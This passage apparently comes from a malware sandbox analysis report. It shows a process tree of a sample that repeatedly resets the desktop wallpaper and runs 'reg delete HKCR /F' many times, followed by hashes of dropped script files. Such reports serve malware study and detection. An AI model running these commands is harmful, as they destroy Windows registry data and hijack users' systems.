                                                                                                                                                                  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\26662.vbs"
                                                                                                                                                                  5⤵
                                                                                                                                                                    PID:2132
                                                                                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                                                                                    reg add "HKCU\control panel\desktop" /v wallpaper /t REG_SZ /d "" /f
                                                                                                                                                                    5⤵
                                                                                                                                                                      PID:3012
                                                                                                                                                                    • C:\Windows\system32\reg.exe
                                                                                                                                                                      reg add "HKCU\control panel\desktop" /v wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\1478471702-risitas.jpg" /f
                                                                                                                                                                      5⤵
                                                                                                                                                                        PID:1032
                                                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                                                        reg delete "HKCU\Software\Microsoft\Internet Explorer\Desktop\General" /v WallpaperStyle /f
                                                                                                                                                                        5⤵
                                                                                                                                                                          PID:2836
                                                                                                                                                                        • C:\Windows\system32\reg.exe
                                                                                                                                                                          reg add "HKCU\control panel\desktop" /v WallpaperStyle /t REG_SZ /d 2 /f
                                                                                                                                                                          5⤵
                                                                                                                                                                            PID:1208
                                                                                                                                                                          • C:\Windows\system32\rundll32.exe
                                                                                                                                                                            RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
                                                                                                                                                                            5⤵
                                                                                                                                                                              PID:1364
                                                                                                                                                                            • C:\Windows\system32\rundll32.exe
                                                                                                                                                                              "C:\Windows\system32\rundll32.exe" C:\Windows\system32\shell32.dll,OpenAs_RunDLL C:\Users\Admin\AppData\Local\Temp\26662.vbs
                                                                                                                                                                              5⤵
                                                                                                                                                                                PID:2444
                                                                                                                                                                              • C:\Windows\system32\reg.exe
                                                                                                                                                                                reg add "HKCU\control panel\desktop" /v wallpaper /t REG_SZ /d "" /f
                                                                                                                                                                                5⤵
                                                                                                                                                                                  PID:1704
                                                                                                                                                                                • C:\Windows\system32\reg.exe
                                                                                                                                                                                  reg add "HKCU\control panel\desktop" /v wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\1478471702-risitas.jpg" /f
                                                                                                                                                                                  5⤵
                                                                                                                                                                                    PID:1996
                                                                                                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                                                                                                    reg delete "HKCU\Software\Microsoft\Internet Explorer\Desktop\General" /v WallpaperStyle /f
                                                                                                                                                                                    5⤵
                                                                                                                                                                                      PID:1284
                                                                                                                                                                                    • C:\Windows\system32\reg.exe
                                                                                                                                                                                      reg add "HKCU\control panel\desktop" /v WallpaperStyle /t REG_SZ /d 2 /f
                                                                                                                                                                                      5⤵
                                                                                                                                                                                        PID:2204
                                                                                                                                                                                      • C:\Windows\system32\rundll32.exe
                                                                                                                                                                                        RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
                                                                                                                                                                                        5⤵
                                                                                                                                                                                          PID:2904
                                                                                                                                                                                        • C:\Windows\system32\rundll32.exe
                                                                                                                                                                                          "C:\Windows\system32\rundll32.exe" C:\Windows\system32\shell32.dll,OpenAs_RunDLL C:\Users\Admin\AppData\Local\Temp\26662.vbs
                                                                                                                                                                                          5⤵
                                                                                                                                                                                            PID:2300
                                                                                                                                                                                          • C:\Windows\system32\reg.exe
                                                                                                                                                                                            reg add "HKCU\control panel\desktop" /v wallpaper /t REG_SZ /d "" /f
                                                                                                                                                                                            5⤵
                                                                                                                                                                                              PID:1096
                                                                                                                                                                                            • C:\Windows\system32\reg.exe
                                                                                                                                                                                              reg add "HKCU\control panel\desktop" /v wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\1478471702-risitas.jpg" /f
                                                                                                                                                                                              5⤵
                                                                                                                                                                                                PID:1752
                                                                                                                                                                                              • C:\Windows\system32\reg.exe
                                                                                                                                                                                                reg delete "HKCU\Software\Microsoft\Internet Explorer\Desktop\General" /v WallpaperStyle /f
                                                                                                                                                                                                5⤵
                                                                                                                                                                                                  PID:1764
                                                                                                                                                                                                • C:\Windows\system32\reg.exe
                                                                                                                                                                                                  reg add "HKCU\control panel\desktop" /v WallpaperStyle /t REG_SZ /d 2 /f
                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                    PID:1584
                                                                                                                                                                                                  • C:\Windows\system32\rundll32.exe
                                                                                                                                                                                                    RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                      PID:1036
                                                                                                                                                                                                    • C:\Windows\system32\rundll32.exe
                                                                                                                                                                                                      "C:\Windows\system32\rundll32.exe" C:\Windows\system32\shell32.dll,OpenAs_RunDLL C:\Users\Admin\AppData\Local\Temp\26662.vbs
                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                        PID:852
                                                                                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                                                                                        reg add "HKCU\control panel\desktop" /v wallpaper /t REG_SZ /d "" /f
                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                          PID:2728
                                                                                                                                                                                                        • C:\Windows\system32\reg.exe
                                                                                                                                                                                                          reg add "HKCU\control panel\desktop" /v wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\1478471702-risitas.jpg" /f
                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                            PID:2716
                                                                                                                                                                                                          • C:\Windows\system32\reg.exe
                                                                                                                                                                                                            reg delete "HKCU\Software\Microsoft\Internet Explorer\Desktop\General" /v WallpaperStyle /f
                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                              PID:2676
                                                                                                                                                                                                            • C:\Windows\system32\reg.exe
                                                                                                                                                                                                              reg add "HKCU\control panel\desktop" /v WallpaperStyle /t REG_SZ /d 2 /f
                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                                PID:2032
                                                                                                                                                                                                              • C:\Windows\system32\rundll32.exe
                                                                                                                                                                                                                RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                  PID:2040
                                                                                                                                                                                                                • C:\Windows\system32\rundll32.exe
                                                                                                                                                                                                                  "C:\Windows\system32\rundll32.exe" C:\Windows\system32\shell32.dll,OpenAs_RunDLL C:\Users\Admin\AppData\Local\Temp\26662.vbs
                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                    PID:1768
                                                                                                                                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                    reg add "HKCU\control panel\desktop" /v wallpaper /t REG_SZ /d "" /f
                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                      PID:2396
                                                                                                                                                                                                                    • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                      reg add "HKCU\control panel\desktop" /v wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\1478471702-risitas.jpg" /f
                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                        PID:2376
                                                                                                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                        reg delete "HKCU\Software\Microsoft\Internet Explorer\Desktop\General" /v WallpaperStyle /f
                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                          PID:1204
                                                                                                                                                                                                                        • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                          reg add "HKCU\control panel\desktop" /v WallpaperStyle /t REG_SZ /d 2 /f
                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                            PID:1664
                                                                                                                                                                                                                          • C:\Windows\system32\rundll32.exe
                                                                                                                                                                                                                            RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                              PID:1040
                                                                                                                                                                                                                            • C:\Windows\system32\rundll32.exe
                                                                                                                                                                                                                              "C:\Windows\system32\rundll32.exe" C:\Windows\system32\shell32.dll,OpenAs_RunDLL C:\Users\Admin\AppData\Local\Temp\26662.vbs
                                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                                                PID:1832
                                                                                                                                                                                                                              • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                reg add "HKCU\control panel\desktop" /v wallpaper /t REG_SZ /d "" /f
                                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                                  PID:1548
                                                                                                                                                                                                                                • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                  reg add "HKCU\control panel\desktop" /v wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\1478471702-risitas.jpg" /f
                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                    PID:2492
                                                                                                                                                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                    reg delete "HKCU\Software\Microsoft\Internet Explorer\Desktop\General" /v WallpaperStyle /f
                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                      PID:2944
                                                                                                                                                                                                                                    • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                      reg add "HKCU\control panel\desktop" /v WallpaperStyle /t REG_SZ /d 2 /f
                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                        PID:2576
                                                                                                                                                                                                                                      • C:\Windows\system32\rundll32.exe
                                                                                                                                                                                                                                        RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                          PID:2896
                                                                                                                                                                                                                                        • C:\Windows\system32\rundll32.exe
                                                                                                                                                                                                                                          "C:\Windows\system32\rundll32.exe" C:\Windows\system32\shell32.dll,OpenAs_RunDLL C:\Users\Admin\AppData\Local\Temp\26662.vbs
                                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                                            PID:1976
                                                                                                                                                                                                                                          • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                            reg add "HKCU\control panel\desktop" /v wallpaper /t REG_SZ /d "" /f
                                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                                              PID:2952
                                                                                                                                                                                                                                            • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                              reg add "HKCU\control panel\desktop" /v wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\1478471702-risitas.jpg" /f
                                                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                                                                PID:2096
                                                                                                                                                                                                                                              • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                reg delete "HKCU\Software\Microsoft\Internet Explorer\Desktop\General" /v WallpaperStyle /f
                                                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                                                  PID:944
                                                                                                                                                                                                                                                • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                  reg add "HKCU\control panel\desktop" /v WallpaperStyle /t REG_SZ /d 2 /f
                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                    PID:960
                                                                                                                                                                                                                                                  • C:\Windows\system32\rundll32.exe
                                                                                                                                                                                                                                                    RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                      PID:2376
                                                                                                                                                                                                                                                    • C:\Windows\system32\rundll32.exe
                                                                                                                                                                                                                                                      "C:\Windows\system32\rundll32.exe" C:\Windows\system32\shell32.dll,OpenAs_RunDLL C:\Users\Admin\AppData\Local\Temp\26662.vbs
                                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                                        PID:2592
                                                                                                                                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                        reg add "HKCU\control panel\desktop" /v wallpaper /t REG_SZ /d "" /f
                                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                                          PID:2836
                                                                                                                                                                                                                                                        • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                          reg add "HKCU\control panel\desktop" /v wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\1478471702-risitas.jpg" /f
                                                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                                                            PID:2452
                                                                                                                                                                                                                                                          • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                            reg delete "HKCU\Software\Microsoft\Internet Explorer\Desktop\General" /v WallpaperStyle /f
                                                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                                                              PID:2156
                                                                                                                                                                                                                                                            • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                              reg add "HKCU\control panel\desktop" /v WallpaperStyle /t REG_SZ /d 2 /f
                                                                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                                                                                PID:2496
                                                                                                                                                                                                                                                              • C:\Windows\system32\rundll32.exe
                                                                                                                                                                                                                                                                RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
                                                                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                                                                  PID:2940
                                                                                                                                                                                                                                                                • C:\Windows\system32\rundll32.exe
                                                                                                                                                                                                                                                                  "C:\Windows\system32\rundll32.exe" C:\Windows\system32\shell32.dll,OpenAs_RunDLL C:\Users\Admin\AppData\Local\Temp\26662.vbs
                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                    PID:2316
                                                                                                                                                                                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                    reg add "HKCU\control panel\desktop" /v wallpaper /t REG_SZ /d "" /f
                                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                                      PID:2952
                                                                                                                                                                                                                                                                    • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                      reg add "HKCU\control panel\desktop" /v wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\1478471702-risitas.jpg" /f
                                                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                                                        PID:2708
                                                                                                                                                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                        reg delete "HKCU\Software\Microsoft\Internet Explorer\Desktop\General" /v WallpaperStyle /f
                                                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                                                          PID:1148
                                                                                                                                                                                                                                                                        • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                          reg add "HKCU\control panel\desktop" /v WallpaperStyle /t REG_SZ /d 2 /f
                                                                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                                                                            PID:1584
                                                                                                                                                                                                                                                                          • C:\Windows\system32\rundll32.exe
                                                                                                                                                                                                                                                                            RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
                                                                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                                                                              PID:1664
                                                                                                                                                                                                                                                                        • C:\Windows\System32\WScript.exe
                                                                                                                                                                                                                                                                          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\26662.vbs"
                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                            PID:1728
                                                                                                                                                                                                                                                                          • C:\Windows\System32\WScript.exe
                                                                                                                                                                                                                                                                            "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\26662.vbs"
                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                              PID:2072
                                                                                                                                                                                                                                                                            • C:\Windows\System32\WScript.exe
                                                                                                                                                                                                                                                                              "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\26662.vbs"
                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                PID:1644
                                                                                                                                                                                                                                                                              • C:\Windows\System32\WScript.exe
                                                                                                                                                                                                                                                                                "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\26662.vbs"
                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                  PID:2000
                                                                                                                                                                                                                                                                                • C:\Windows\System32\WScript.exe
                                                                                                                                                                                                                                                                                  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\26662.vbs"
                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                    PID:1648
                                                                                                                                                                                                                                                                                  • C:\Windows\System32\WScript.exe
                                                                                                                                                                                                                                                                                    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\26662.vbs"
                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                      PID:996
                                                                                                                                                                                                                                                                                    • C:\Windows\System32\WScript.exe
                                                                                                                                                                                                                                                                                      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\26662.vbs"
                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                        PID:1940
                                                                                                                                                                                                                                                                                      • C:\Windows\System32\WScript.exe
                                                                                                                                                                                                                                                                                        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\26662.vbs"
                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                          PID:2232
                                                                                                                                                                                                                                                                                        • C:\Windows\System32\WScript.exe
                                                                                                                                                                                                                                                                                          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\26662.vbs"
                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                            PID:1744
                                                                                                                                                                                                                                                                                          • C:\Windows\System32\WScript.exe
                                                                                                                                                                                                                                                                                            "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\26662.vbs"
                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                              PID:1796
                                                                                                                                                                                                                                                                                            • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                                              reg delete HKCR /F
                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                              • Modifies registry class
                                                                                                                                                                                                                                                                                              PID:2616
                                                                                                                                                                                                                                                                                            • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                                              reg delete HKCR /F
                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                PID:3012
                                                                                                                                                                                                                                                                                              • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                                                reg delete HKCR /F
                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                  PID:1848
                                                                                                                                                                                                                                                                                                • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                                                  reg delete HKCR /F
                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                    PID:2068
                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                                                    reg delete HKCR /F
                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                      PID:2312
                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                                                      reg delete HKCR /F
                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                        PID:560
                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                                                        reg delete HKCR /F
                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                          PID:1540
                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                                                          reg delete HKCR /F
                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                            PID:1044
                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                                                            reg delete HKCR /F
                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                              PID:2312
                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                                                              reg delete HKCR /F
                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                PID:964
                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                                                                reg delete HKCR /F
                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                  PID:2388
                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                                                                  reg delete HKCR /F
                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                    PID:184
                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                                                                    reg delete HKCR /F
                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                      PID:2388
                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                                                                      reg delete HKCR /F
                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                        PID:2564
                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                                                                        reg delete HKCR /F
                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                          PID:3060
                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\DllHost.exe
                                                                                                                                                                                                                                                                                                                      C:\Windows\SysWOW64\DllHost.exe /Processid:{3F6B5E16-092A-41ED-930B-0B4125D91D4E}
                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                      PID:1620
                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\LogonUI.exe
                                                                                                                                                                                                                                                                                                                      "LogonUI.exe" /flags:0x0
                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                        PID:768
                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\LogonUI.exe
                                                                                                                                                                                                                                                                                                                        "LogonUI.exe" /flags:0x1
                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                          PID:1716

                                                                                                                                                                                                                                                                                                                        Network

                                                                                                                                                                                                                                                                                                                        MITRE ATT&CK Enterprise v15

                                                                                                                                                                                                                                                                                                                        Replay Monitor

                                                                                                                                                                                                                                                                                                                        Loading Replay Monitor...

                                                                                                                                                                                                                                                                                                                        Downloads

                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\14339.vbs
                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                          490B

                                                                                                                                                                                                                                                                                                                          MD5

                                                                                                                                                                                                                                                                                                                          93e179454db6fe9ac81112193de37cde

                                                                                                                                                                                                                                                                                                                          SHA1

                                                                                                                                                                                                                                                                                                                          4752aec95d506cac3ed9c61f0fbbd9cf6bd0cde9

                                                                                                                                                                                                                                                                                                                          SHA256

                                                                                                                                                                                                                                                                                                                          8286f8a1d4cceae4ece0de6082109286f17c1234ee09e453ac9507185068c7cc

                                                                                                                                                                                                                                                                                                                          SHA512

                                                                                                                                                                                                                                                                                                                          a38411dd6eb30050e6100bd20e79e8f4d650c1a4ad646516370f603a28900dfc424292f83cd7b49b1296bf7b25ce6ce907ef8dee964ded2e6b79475a6741f207

                                                                                                                                                                                                                                                                                                                          Download Submit

                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\25595.vbs
                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                          390B

                                                                                                                                                                                                                                                                                                                          MD5

                                                                                                                                                                                                                                                                                                                          aabbe725da9751315bbeeda4ef58d816

                                                                                                                                                                                                                                                                                                                          SHA1

                                                                                                                                                                                                                                                                                                                          476c78912d61e790a793c8e6606825f2b169947c

                                                                                                                                                                                                                                                                                                                          SHA256

                                                                                                                                                                                                                                                                                                                          0422247afae1a1556e7832c45f4f1913a61cbace2be53aad58967ea9e6315360

                                                                                                                                                                                                                                                                                                                          SHA512

                                                                                                                                                                                                                                                                                                                          0e1a523c947013a1a23574d125294270cb8c6b8e4fd97630f7c35122a33b9d95e7a073cbe23f0ed3f78246dd8b2db2c4401e994eace3b9e3bdbe696708b887dd

                                                                                                                                                                                                                                                                                                                          Download Submit

                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\25728.vbs
                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                          236B

                                                                                                                                                                                                                                                                                                                          MD5

                                                                                                                                                                                                                                                                                                                          3a7e0a94fa88dccd40d9b76b37d06db1

                                                                                                                                                                                                                                                                                                                          SHA1

                                                                                                                                                                                                                                                                                                                          d7604ddb660898ce3b1343aa712cf5926bc68bda

                                                                                                                                                                                                                                                                                                                          SHA256

                                                                                                                                                                                                                                                                                                                          368a1589e414e50d554cf0d871bd49b11f9cd9f189876c86a5caef92d158e6a4

                                                                                                                                                                                                                                                                                                                          SHA512

                                                                                                                                                                                                                                                                                                                          19b8377a708301fb719e43433b9c0a592346ea94206870e3ba2c77f901b17598dd977fd711e591b5d0fc46982ed83e62cfbbe678eabe43de494bdde176c89fcb

                                                                                                                                                                                                                                                                                                                          Download Submit

                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\26548.vbs
                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                          106B

                                                                                                                                                                                                                                                                                                                          MD5

                                                                                                                                                                                                                                                                                                                          ec385d968eea8bf5abe4587305f39c89

                                                                                                                                                                                                                                                                                                                          SHA1

                                                                                                                                                                                                                                                                                                                          6509b0bb7cb6432a4c723f37dc7593116ad57c64

                                                                                                                                                                                                                                                                                                                          SHA256

                                                                                                                                                                                                                                                                                                                          98adff52d2e37335bc6fb9811a2759ab8bd86c6ca116818114a0ab88474a6f96

                                                                                                                                                                                                                                                                                                                          SHA512

                                                                                                                                                                                                                                                                                                                          d5ff6edac9fcc50a634ff949268004bc396a07bb472fce532166140964acbbb4195e99a02dae8a426e2c4f7a9c64a89d283361340615d89ef7465acbab5b26a8

                                                                                                                                                                                                                                                                                                                          Download Submit

                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\26662.vbs
                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                          161B

                                                                                                                                                                                                                                                                                                                          MD5

                                                                                                                                                                                                                                                                                                                          d999ff5265bcd3fe9c67df5139e96328

                                                                                                                                                                                                                                                                                                                          SHA1

                                                                                                                                                                                                                                                                                                                          27a4aa58d8f1a1bd8f1bb55f4d732fc1955d21d6

                                                                                                                                                                                                                                                                                                                          SHA256

                                                                                                                                                                                                                                                                                                                          43c5cbd8df94b91fe902968d7bae0747aaf09b074b1ec5b81420af771c89fc5a

                                                                                                                                                                                                                                                                                                                          SHA512

                                                                                                                                                                                                                                                                                                                          6aabefbb540b504c00b7710b989f8ebc981e546f25e351771d8951eaa95bc0d08436a67845da2d0b37cce9181d153f29fccb9f7ff1ee31ac9a2a1c46b2abed83

                                                                                                                                                                                                                                                                                                                          Download Submit

                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\31048.vbs
                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                          276B

                                                                                                                                                                                                                                                                                                                          MD5

                                                                                                                                                                                                                                                                                                                          8a9b451fd9936100f33b576bb5ec3f02

                                                                                                                                                                                                                                                                                                                          SHA1

                                                                                                                                                                                                                                                                                                                          80c92544f733ddfb96dffa296293fb2835e85f2e

                                                                                                                                                                                                                                                                                                                          SHA256

                                                                                                                                                                                                                                                                                                                          4e17707eab52e31f035b13f68cce1aa2636680abde9de955fdf1495641660455

                                                                                                                                                                                                                                                                                                                          SHA512

                                                                                                                                                                                                                                                                                                                          b11700e12cc1c921dbf3cd017595dbb18befdb5a89e80295aa99ef8d5d23d3e689bf6b011927da27cb88ac93feea8fcef822b4b7acd92c26b32d5791773e911f

                                                                                                                                                                                                                                                                                                                          Download Submit

                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\3416.vbs
                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                          179B

                                                                                                                                                                                                                                                                                                                          MD5

                                                                                                                                                                                                                                                                                                                          523092d53a06f5b46778a0cd7c01d0fb

                                                                                                                                                                                                                                                                                                                          SHA1

                                                                                                                                                                                                                                                                                                                          221a8244271afdbe7ce105aaf189f1dbcfa57cdb

                                                                                                                                                                                                                                                                                                                          SHA256

                                                                                                                                                                                                                                                                                                                          09c2ca44b387ae9f69f0c001729c71313bae1d935ad99723a02ebfc0d2757c3e

                                                                                                                                                                                                                                                                                                                          SHA512

                                                                                                                                                                                                                                                                                                                          72015f1a996c56b6eab20590cdb2689124b87494a2ae8fb5fb0678dfb4bfd49046f66b23b0348a70942d74664e22051d5be5994de518414baa47ad81e77400eb

                                                                                                                                                                                                                                                                                                                          Download Submit

                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\3627.bat
                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                          461B

                                                                                                                                                                                                                                                                                                                          MD5

                                                                                                                                                                                                                                                                                                                          906f8567428cc89dd37e495430157ac1

                                                                                                                                                                                                                                                                                                                          SHA1

                                                                                                                                                                                                                                                                                                                          2003bd7cd1f7129f9e0507d54036e6b0d03a84bb

                                                                                                                                                                                                                                                                                                                          SHA256

                                                                                                                                                                                                                                                                                                                          c5f27562edee93ca92cca51ce79a403d44aae1d911e5367b3973ad1d02919d39

                                                                                                                                                                                                                                                                                                                          SHA512

                                                                                                                                                                                                                                                                                                                          0b767357c5c7dd67aa2add6fea4fc1f4e99eab1712bc241156f2f51837471ad912081ad2a3eafa2e691b9dd9a0eaf42b97ba8dd9fcf92a373acf31154f79c909

                                                                                                                                                                                                                                                                                                                          Download Submit

                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\9503.vbs
                                                                                                                                                                                                                                                                                                                          Filesize

